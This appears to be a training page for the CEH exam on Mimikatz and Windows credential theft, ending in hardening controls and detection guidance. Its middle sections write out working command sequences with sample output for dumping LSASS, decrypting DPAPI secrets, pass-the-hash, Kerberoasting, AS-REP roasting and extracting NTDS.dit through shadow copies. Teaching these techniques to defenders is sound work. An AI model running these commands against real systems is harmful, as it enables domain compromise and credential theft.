Learn how Mimikatz extracts NTLM hashes, Kerberos tickets, and plaintext passwords from Windows memory — the authentication protocols that make it possible, the attack chains credential theft enables, and the modern defences designed to stop it.
Mimikatz and Credential Dumping
Mimikatz is the most widely used post-exploitation credential extraction tool in existence. Written by French researcher Benjamin Delpy and first released in 2011 as a proof of concept for a Windows authentication vulnerability, it reads credentials directly from Windows memory — NTLM hashes, Kerberos tickets, and in some configurations plaintext passwords — from the LSASS process and other credential storage locations.
Credential dumping is the pivot point in the vast majority of enterprise network compromises. A single extracted hash can unlock dozens — or hundreds — of systems if the same password was reused across accounts. In Active Directory environments, a single Domain Admin credential harvest can mean total domain compromise. Understanding how credential extraction works is therefore essential for both offensive operators planning a lateral movement campaign and defensive analysts designing the controls to stop one.
A Brief History — Why This Tool Changed Everything
Before Mimikatz, extracting credentials from a Windows system typically required cracking password hashes — a computationally intensive process that could take hours, days, or be impossible for complex passwords. Delpy's key insight was that Windows didn't just store password hashes; it stored the actual credential material needed to perform authentication in a live process — LSASS — that was accessible to sufficiently privileged code.
When Mimikatz was published, Microsoft's response was initially limited. The behaviour Mimikatz exploited was a feature, not a bug: Windows needed to cache credential material so users didn't have to re-enter their passwords repeatedly. Over the following decade, Microsoft introduced a series of mitigations — WDigest disablement, Protected Users group, Credential Guard — each of which Delpy and the security community responded to with new techniques. The ongoing arms race between Mimikatz and Windows security hardening is itself a case study in how defensive security evolves.
Imagine a large hotel where every guest's room key is managed by a central front desk computer. To avoid making guests re-authenticate every time they use an elevator, the pool, or the restaurant, the computer keeps a working copy of every active guest's key in its memory — ready to validate instantly. A Mimikatz attack is like convincing that front desk computer to print out all the working copies it currently holds in memory. You didn't need to steal each key individually, pick any locks, or intercept anyone — you just walked up to the system that was maintaining them all for convenience and asked it to hand them over. The convenience feature became the vulnerability.
Windows Credential Storage — A Complete Map
LSASS — Why It Holds Credentials At All
Understanding why LSASS stores credential material — rather than just verifying it once and discarding it — requires understanding how Windows authentication works at the protocol level. Windows supports multiple authentication protocols simultaneously, and several of them require the server side to have the credential material available to complete a challenge-response exchange.
The primary culprit historically was WDigest authentication, a protocol designed for HTTP Digest authentication that requires the plaintext password to be available server-side to compute the challenge response. Because Windows enabled WDigest by default for backwards compatibility, LSASS cached plaintext passwords in memory for any user whose session might need to complete a WDigest exchange — even if the user never actually used HTTP Digest authentication. This is why Mimikatz could extract plaintext passwords on pre-Windows 8.1 systems: the passwords were simply sitting there in LSASS memory, available to any process with sufficient privileges to read it.
Microsoft disabled WDigest caching by default in Windows 8.1 and Server 2012 R2 via a registry key. However, an attacker with SYSTEM access can re-enable WDigest caching, wait for a privileged user to log in, and then harvest their plaintext password — a technique that still works on current Windows versions if the registry key is set.
# By default, WDigest caching is disabled on modern Windows: # HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest # UseLogonCredential = 0 (disabled) # Attacker re-enables it with SYSTEM access: reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f [OK] Registry value set. Waiting for privileged user to log in... # After a Domain Admin logs into the machine (RDP, console, runas): privilege::debug sekurlsa::logonpasswords UserName: domain_admin Domain: CORP Password: Adm1n@Corp2024! <-- plaintext, WDigest re-enabled # Defence: monitor registry key UseLogonCredential for changes # Sysmon Event 13 (RegistryValueSet) on this key = high-priority alert
NTLM Hashing — What the Hash Actually Is
When Mimikatz extracts an NTLM hash, many students treat it as an opaque string of hex characters. Understanding what it actually represents is important both for the CEH exam and for understanding why certain attacks work the way they do.
An NTLM hash is simply the MD4 hash of the UTF-16LE encoded password. MD4 is an extremely fast hashing algorithm — a modern GPU can compute billions of MD4 hashes per second, which is why NTLM hashes of weak passwords are crackable in seconds to minutes. The NTLM hash is not salted, meaning the same password always produces the same hash regardless of which user it belongs to or which machine they log into. This design choice — made for network authentication efficiency — has profound security implications: if two users have the same password, they have identical NTLM hashes, and a hash table (rainbow table) of common password hashes can identify them instantly.
Imagine a company where employee badge numbers are generated by converting each employee's surname to a number using a fixed formula. Two employees with the same surname get identical badge numbers. An attacker who learns one badge number and knows the person's surname can immediately identify every other employee with that same surname — without ever needing to compute anything new. Password salting is what prevents this: it adds a random value unique to each user before hashing, ensuring that two identical passwords produce entirely different hash values. NTLM's lack of salting is a fundamental design weakness that credential dumping exploits directly.
Credential Dumping in Practice
The primary Mimikatz command — reads all credential material from LSASS for currently and recently logged-in users. Requires privilege::debug first, which requests the SeDebugPrivilege that allows reading other processes' memory.
privilege::debug [OK] Privilege '20' OK sekurlsa::logonpasswords UserName: jsmith Domain: CORP NTLM: c4b0e1b10c7ce2c4723b4e2407ef81a2 # Hash extracted -- use for PtH or crack offline with hashcat
Dumping LSASS to a file lets you extract credentials offline — stealthier than running Mimikatz interactively on the target, since the analysis happens on the attacker's controlled system where no EDR is watching.
# LOLBin method (comsvcs.dll -- Microsoft-signed, less likely to be blocked): rundll32.exe comsvcs.dll, MiniDump (Get-Process lsass).Id lsass.dmp full # ProcDump (Sysinternals -- less flagged than Mimikatz binary): procdump.exe -accepteula -ma lsass.exe lsass.dmp # Analyse offline on attacker machine: sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords
Export Kerberos tickets from memory for Pass-the-Ticket attacks on other systems — no hash or password needed. The ticket represents a valid authentication proof that can be transplanted into a different session.
sekurlsa::tickets /export Exported: [0;3e7]-2-1-40e10000-jsmith@krbtgt-CORP.COM.kirbi Exported: [0;3e7]-0-1-jsmith@cifs-fileserver.corp.com.kirbi # Import on another machine: .\Rubeus.exe ptt /ticket:[base64] # Access fileserver as jsmith -- no credentials needed
DPAPI protects browser passwords, saved RDP credentials, and other secrets. Mimikatz decrypts these in the user's security context using the DPAPI master key that LSASS holds in memory — no password cracking required.
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect URL: https://corp-vpn.corp.com Username: jsmith Password: Vpn@Passw0rd! vault::cred /patch corp\svc_backup: ServiceAcct2024!
Credential Guard and the Protected Users group significantly limit what Mimikatz can retrieve. Understanding what remains accessible against hardened environments is essential for planning realistic assessments.
# Credential Guard active -- NTLM returns null: sekurlsa::logonpasswords: NTLM = (null) # But Kerberos tickets may still be accessible # Protected Users group members: no NTLM auth, no caching # What still works against hardened environments: - Kerberoasting (weak service account passwords) - AS-REP roasting (pre-auth disabled accounts) - DPAPI decryption (in user context) - ADCS certificate theft (ESC1-ESC8 attack paths)
What You Need to Know
From Credential Theft to Domain Compromise
Credential dumping is rarely the end goal — it is the mechanism that enables lateral movement and privilege escalation. Understanding the full attack chains that harvested credentials unlock is essential for both the CEH exam and for understanding why credential protection is the single highest-priority defensive investment in an enterprise environment.
Pass-the-Hash — Authenticating Without the Password
NTLM authentication was designed to avoid transmitting passwords over the network. Instead, the client and server perform a challenge-response: the server sends a random challenge, and the client hashes the challenge with the user's NTLM hash to produce a response. The server then independently computes the expected response using the hash it holds and compares. Neither side ever sends the password itself.
The security assumption built into this design is that the NTLM hash is a secret equivalent in protection to the password itself. Pass-the-Hash attacks invalidate that assumption: if an attacker obtains the hash, they can compute the correct challenge response directly — the server cannot distinguish between a legitimate user who knows the password and an attacker who only knows the hash. The hash is not a derivative credential; it is the credential.
Step 1: Attacker gains initial access to a standard workstation via phishing — low-privilege user session, no local admin.
Step 2: A local privilege escalation exploit yields SYSTEM on the workstation. Mimikatz is loaded and sekurlsa::logonpasswords is run.
Step 3: The dump reveals that a member of the IT helpdesk team had remotely administered this workstation earlier in the day. Their session token is still cached. Their NTLM hash is extracted: 8846f7eaee8fb117ad06bdd830b7586c.
Step 4: The IT helpdesk account has local administrator rights on all workstations in the organisation (a common configuration for remote support). Using Pass-the-Hash with the extracted hash, the attacker authenticates to fifteen other workstations across the organisation. Three of those workstations currently have a Domain Admin logged in.
Step 5: From any one of those three workstations, the Domain Admin's credentials are harvested. DCSync is run. Every domain account's hash is extracted. Game over.
The entire chain — from phishing email to full domain compromise — required exactly one hash from one helpdesk account. The security failure was not a single point but a cascade: the helpdesk account had excessive lateral reach, local admin was deployed too broadly, and cached credentials persisted after the administrator's session ended.
Pass-the-Hash in Practice — Tools and Techniques
# Method 1: Mimikatz sekurlsa::pth (opens a new cmd as the hash owner): sekurlsa::pth /user:jsmith /domain:CORP /ntlm:c4b0e1b10c7ce2c4723b4e2407ef81a2 /run:cmd.exe [*] user : jsmith [*] domain : CORP [*] NTLM : c4b0e1b10c7ce2c4723b4e2407ef81a2 [+] New process spawned running as CORP\jsmith (via PtH) # Method 2: Metasploit psexec module (directly uses the hash): use exploit/windows/smb/psexec set SMBUser jsmith set SMBPass aad3b435b51404eeaad3b435b51404ee:c4b0e1b10c7ce2c4723b4e2407ef81a2 set RHOSTS 10.10.10.20 run [*] Meterpreter session opened on 10.10.10.20 as CORP\jsmith # Method 3: CrackMapExec for bulk spray across subnet: crackmapexec smb 10.10.10.0/24 -u jsmith -H c4b0e1b10c7ce2c4723b4e2407ef81a2 [+] 10.10.10.5 SMB CORP\jsmith (Pwn3d!) <-- local admin confirmed [+] 10.10.10.12 SMB CORP\jsmith (Pwn3d!) [-] 10.10.10.8 SMB CORP\jsmith STATUS_LOGON_FAILURE
Kerberoasting — Extracting Service Account Credentials Without LSASS
Kerberoasting is a credential attack that does not require LSASS access at all — making it one of the most important techniques in hardened environments where Credential Guard and LSASS protection are deployed. It exploits a design property of the Kerberos protocol: any authenticated domain user can request a Kerberos service ticket for any service registered in Active Directory, and that ticket is encrypted with the service account's NTLM hash. The ticket can then be taken offline and cracked to recover the service account's password.
Imagine a company that issues locked envelopes to anyone who asks, each envelope containing a message to a specific department. The envelope is locked with the department manager's personal key — any employee can request an envelope, but only the manager can open it. What the company didn't anticipate is that someone could take one of these envelopes home, spend time working on the lock with no time pressure, and eventually pick it open to read what's inside. Kerberoasting is exactly this: the attacker requests a legitimate service ticket (the envelope), extracts it from memory, and cracks the encryption offline (picks the lock at home) to reveal the service account password.
Request service tickets for all Kerberoastable accounts, extract the encrypted tickets, and crack them offline — no LSASS access required, no elevated privileges needed beyond standard domain user.
# Using Rubeus (modern Kerberos toolkit -- preferred over Mimikatz for Kerberoasting): .\Rubeus.exe kerberoast /outfile:hashes.txt [*] Total kerberoastable users: 3 [*] SPN: MSSQLSvc/sql01.corp.com:1433 User: svc_sql [*] SPN: HTTP/intranet.corp.com User: svc_web [*] Hash: $krb5tgs$23$*svc_sql$CORP.COM$MSSQLSvc/sql01.corp.com*$a3b4... # Crack offline with hashcat (mode 13100 = Kerberos TGS-REP): hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt $krb5tgs$23$*svc_sql*...:Sql@Service2022! [STATUS] Cracked 1/3 hashes # svc_sql often has local admin or sysadmin on the SQL server # Lateral movement to SQL server and potentially data exfiltration
AS-REP Roasting — No Password Required to Start
AS-REP roasting targets accounts that have Kerberos pre-authentication disabled — a setting that, when applied, allows anyone on the network to request an authentication packet encrypted with that account's key without first proving they know the password. These encrypted packets can be taken offline and cracked, recovering the account password without any credentials whatsoever — making this the only major credential attack that requires no domain authentication to execute.
# Find accounts with pre-auth disabled from outside the domain: .\Rubeus.exe asreproast /dc:10.10.10.1 /domain:corp.com [*] Checking for AS-REP roastable users... [*] Found 1 AS-REP roastable user: helpdesk_temp@corp.com $krb5asrep$23$helpdesk_temp@CORP.COM:7c3a2f1b... # Crack offline (hashcat mode 18200 = Kerberos AS-REP): hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt $krb5asrep$23$helpdesk_temp...:Welcome123! # Attacker now has valid domain credentials without ever having any to start. # Defence: enable Kerberos pre-authentication on ALL accounts (it's the default -- # pre-auth disabled is a deliberate misconfiguration that must be audited regularly)
SAM Database and NTDS.dit — Offline Credential Extraction
Not all credential extraction happens through LSASS. The SAM database and NTDS.dit file hold hashed credentials persistently on disk — but both are locked by the operating system while it is running. There are several techniques for accessing them anyway, all of which are CEH exam objectives.
SAM Database — Local Credential Extraction
The Security Account Manager (SAM) database stores NTLM hashes for all local accounts. It lives at C:\Windows\System32\config\SAM and is locked by the OS kernel at boot. The encryption key used to protect it (SYSKEY/BOOTKEY) is stored in the SYSTEM hive. Both files must be obtained together for a successful offline crack.
The SAM and SYSTEM hives cannot be copied directly while Windows is running, but they can be exported from the registry as shadow copies — a built-in Windows mechanism that snapshots locked files.
# Export SAM and SYSTEM hives via reg save (requires SYSTEM): reg save HKLM\SAM C:\Temp\sam.hive reg save HKLM\SYSTEM C:\Temp\system.hive [OK] The operation completed successfully. # Transfer to attacker machine and extract with Impacket: secretsdump.py -sam sam.hive -system system.hive LOCAL Impacket vX.X - Copyright 2023 Fortra [*] Target system bootKey: 0x3a4b5c6d7e8f9a0b... Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: svc_backup:1001:aad3b435b51404eeaad3b435b51404ee:c4b0e1b10c7ce2c4723b4e2407ef81a2:::
NTDS.dit — The Domain Controller Database
NTDS.dit is the Active Directory database stored on every domain controller. It contains the NTLM hashes and Kerberos keys for every account in the domain — users, computers, service accounts, and the critical krbtgt account. Obtaining NTDS.dit is the highest-value credential extraction target in an Active Directory environment because a single file contains every domain credential in one place.
Like the SAM database, NTDS.dit is locked while the DC is running. The primary extraction technique is through Volume Shadow Copies — Windows backup snapshots that capture the file system at a point in time, including locked files. Most domain controllers have shadow copies enabled for backup purposes, and any user with sufficient privileges can access them.
Access the NTDS.dit file from a Volume Shadow Copy where it is not locked, then extract all domain hashes offline using Impacket's secretsdump — the standard technique for post-DC-compromise credential harvesting.
# List existing shadow copies on the DC: vssadmin list shadows Shadow Copy ID: {abc123...} Creation Time: 5/25/2026 03:00 Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 # Copy NTDS.dit and SYSTEM hive from the shadow copy: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Temp\ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\ # Extract ALL domain hashes offline: secretsdump.py -ntds NTDS.dit -system SYSTEM LOCAL Administrator:500:...:8846f7eaee8fb117ad06bdd830b7586c::: krbtgt:502:...:819af826bb148e603acb0f33d17632f8::: [thousands of domain accounts...] # krbtgt hash = ability to forge Golden Tickets indefinitely # Remediation: reset krbtgt password TWICE, 10+ hours apart
lsadump::dcsync) abuses the AD replication protocol to pull hashes from a running DC over the network — no file access required, detectable as Event ID 4662. NTDS.dit extraction is a file-based approach requiring physical or RDP access to the DC — detectable via file access events and VSS activity. Both achieve the same result; the choice depends on operational constraints.DPAPI — The Hidden Credential Vault
The Windows Data Protection API (DPAPI) is one of the most overlooked yet consistently valuable credential sources in post-exploitation. It provides a transparent encryption service to applications — any application can ask Windows to encrypt a piece of sensitive data and later decrypt it, using the current user's credentials as the key material. This means DPAPI-protected data can only be decrypted by the same user on the same (or domain-joined) machine — a property designed to protect secrets even if the disk is stolen.
In practice, the applications that rely most heavily on DPAPI are exactly the ones attackers most want to access: web browsers save passwords, Wi-Fi profiles store pre-shared keys, Remote Desktop Manager saves server credentials, and certificate stores protect private keys — all using DPAPI.
The critical exploitation insight is this: if an attacker already has a session running as the target user, or has obtained the user's DPAPI master key from LSASS (which Mimikatz can do), DPAPI decryption is trivial. The "protection" collapses entirely once the attacker is operating in the same security context as the victim.
A complete DPAPI harvest covering all major credential sources a user might have saved — browsers, Windows Vault, and Wi-Fi credentials. Each source requires the same user context but different Mimikatz modules.
--- Browser Passwords (Chrome, Edge, Firefox) --- dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect https://workday.corp.com: jsmith / WorkdayP@ss1! https://aws.amazon.com: jsmith-corp / AWSKey2024! --- Windows Credential Manager (saved RDP, network shares) --- vault::list Domain:target=TERMSRV/rdp-server.corp.com Username: CORP\helpdesk_admin vault::cred /patch Password: HelpDsk@2024! --- Wi-Fi Pre-Shared Keys --- dpapi::wifi Profile: CorpWiFi-Guest Key: GuestWifi2024 Profile: CorpWiFi-Admin Key: AdminNet!Secure2024 --- Certificate Private Keys (code signing, client auth) --- crypto::certificates /export [*] Exporting certificate: Corp Code Signing CA Subject: CN=jsmith, OU=Engineering, O=CORP [*] Private key exported -- can be used to sign malware as legitimate CORP code
Hardening Against Credential Theft — A Layered Approach
No single control prevents all forms of credential theft. The attack surface is too broad — LSASS, the SAM, NTDS.dit, DPAPI, Kerberoasting, AS-REP roasting — and attackers adapt to each mitigation independently. Effective defence requires layering controls that collectively reduce what can be stolen, limit where stolen credentials are valid, and detect attempts as quickly as possible.
| Control | What It Protects | Effectiveness | Bypass / Limitation |
|---|---|---|---|
| Windows Credential Guard | Isolates LSASS credential material using VBS (Virtualisation-Based Security). NTLM hashes and Kerberos keys are held in an isolated virtual machine, inaccessible to kernel-level code. | Blocks LSASS dump | DPAPI, Kerberoasting, and certificate theft still work. Requires compatible hardware (Secure Boot, UEFI, TPM). Not available on all editions. |
| Protected Users Group | Group membership enforces strictest authentication policies: no NTLM authentication, no DES/RC4 Kerberos, no credential caching, Kerberos AES-256 only. | Blocks PtH & caching | Kerberoasting still works for service accounts (they cannot be in Protected Users). Kerberos ticket theft (PtT) still possible if ticket is obtained via other means. |
| LSASS RunAsPPL | Marks LSASS as a Protected Process Light — prevents non-signed drivers and standard processes from reading its memory, even with SYSTEM privileges. | Limits most tools | Kernel-level exploits can bypass PPL. Mimikatz has a driver-based PPL bypass (mimidrv.sys) for systems where driver signing enforcement is disabled. |
| Tiered Administration Model | Domain Admins only log into Tier 0 (DCs). Server admins only log into Tier 1 (servers). Workstation admins only log into Tier 2. Prevents DA credentials from ever appearing in LSASS on workstations. | Limits blast radius | Requires strict operational discipline — difficult to enforce in practice. Single violation (DA RDPs to a workstation) immediately reintroduces the risk. |
| LAPS (Local Admin Password Solution) | Randomises local administrator passwords on each endpoint. A PtH attack against the local admin hash can access only the one machine it was harvested from. | Limits lateral reach | Domain accounts with shared passwords are unaffected. If a domain account is compromised, LAPS provides no protection for lateral movement via that account. |
| Strong Service Account Passwords | Long, random passwords on accounts with SPNs make Kerberoasted tickets computationally infeasible to crack offline. | Defeats Kerberoasting | Managed Service Accounts (MSAs / gMSAs) rotate passwords automatically and should be used instead of regular accounts for services whenever possible. |
| Disable WDigest Caching | Registry key HKLM\..\WDigest\UseLogonCredential = 0 prevents plaintext passwords from being cached in LSASS memory. |
Blocks plaintext | Attacker with SYSTEM can re-enable. NTLM hashes are still available — WDigest only addresses the plaintext problem, not hash-based attacks. |
The Tiered Administration Model — Explained
Of all the defensive controls, the tiered administration model is the most architecturally significant — and the most frequently misunderstood. Its purpose is not to limit what administrators can do, but to limit where their credentials can be harvested from.
The core problem it solves: if a Domain Admin uses their DA account to log into a standard workstation (to fix a printer, install software, or troubleshoot something), their DA credentials are cached in that workstation's LSASS. If that workstation is later compromised by malware, the DA credentials are available to the attacker. This is not a hypothetical — it is one of the most common paths to domain compromise observed in real incident response engagements.
Imagine a nuclear power plant where the plant director has keys to every door in the facility — from the cafeteria to the reactor core. Occasionally, the director walks through the cafeteria to talk to staff, and leaves their keychain on the table while chatting. If a disgruntled kitchen worker copies the keys while they're sitting there, they now have access to the reactor core. The solution is not to take the director's keys away — they legitimately need them. The solution is to create separate keys for different zones, and have the director use the cafeteria key in the cafeteria and only bring the reactor key into the controlled area. Tiered administration applies this principle to domain administration: separate credentials for each administrative tier, never used outside their designated zone.
Detecting Credential Theft — Defender's Playbook
Credential theft leaves specific, detectable signals at every stage. The key principle for defenders is to focus on behaviours rather than specific tool signatures — Mimikatz can be obfuscated and renamed, but LSASS memory access, VSS snapshot creation by non-backup processes, and anomalous Kerberos ticket requests are behaviourally invariant. These signals occur regardless of which tool is used.
0x1010 or 0x1410 is specifically characteristic of credential dumping access masks — whitelisting everything except these specific access patterns dramatically reduces false positives.1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes) and 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes-All). When these rights appear in a 4662 event for an account that is NOT a domain controller computer account, it is almost certainly DCSync. This event must be enabled in the Default Domain Controllers Policy audit settings — it is not on by default.0x17 (RC4-HMAC) on the domain controller. Modern environments should be using AES-256 (type 0x12) for all service ticket encryption. Any RC4 service ticket request to a service that supports AES is anomalous. Alert on bulk RC4 service ticket requests from a single source IP — a Kerberoasting tool sweeping all SPNs generates dozens of these events in seconds.vssadmin.exe, wbadmin.exe, or ntdsutil.exe execution — especially from interactive sessions or non-scheduled contexts. ntdsutil.exe ifm create full is a direct indicator of NTDS.dit extraction and should be treated as a confirmed DC compromise indicator requiring immediate response.Network-Level Detection for Credential Attacks
Monitor for new SMB authentications using NTLM (not Kerberos) between workstations — lateral movement between endpoints via SMB is uncommon in well-configured environments. Alert on NTLMv1 specifically: it should not exist in any modern environment and any occurrence is either a misconfiguration or an attacker forcing downgrade.
A single source generating dozens of TGS-REQ packets to the KDC for different SPNs within a short timeframe is a strong Kerberoasting indicator. The individual requests are legitimate; the volume and speed distinguish automated attacks from normal service access patterns.
Core Concepts Summary
You've covered the theory. Now apply it hands-on in the simulated environment.
Start Lab — Mimikatz →← Return to all labs